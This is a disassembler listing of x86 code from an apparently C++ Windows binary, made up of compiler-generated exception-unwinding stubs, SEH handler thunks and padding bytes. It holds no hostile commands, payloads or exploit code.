; ---------------------------------------------------------------------------


loc_438F78:				; DATA XREF: ___:0043F6ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E7A0	proc near		; DATA XREF: sub_40E7A0+2o
		mov	eax, offset dword_43F6C0
		jmp	sub_4367C8
SEH_40E7A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F744o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EC30	proc near		; DATA XREF: sub_40EC30+2o
		mov	eax, offset dword_43F718
		jmp	sub_4367C8
SEH_40EC30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED70	proc near		; DATA XREF: sub_40ED70+2o
		mov	eax, offset dword_43F758
		jmp	sub_4367C8
SEH_40ED70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F7B4o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BF8:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp+14h]
		jmp	sub_401226
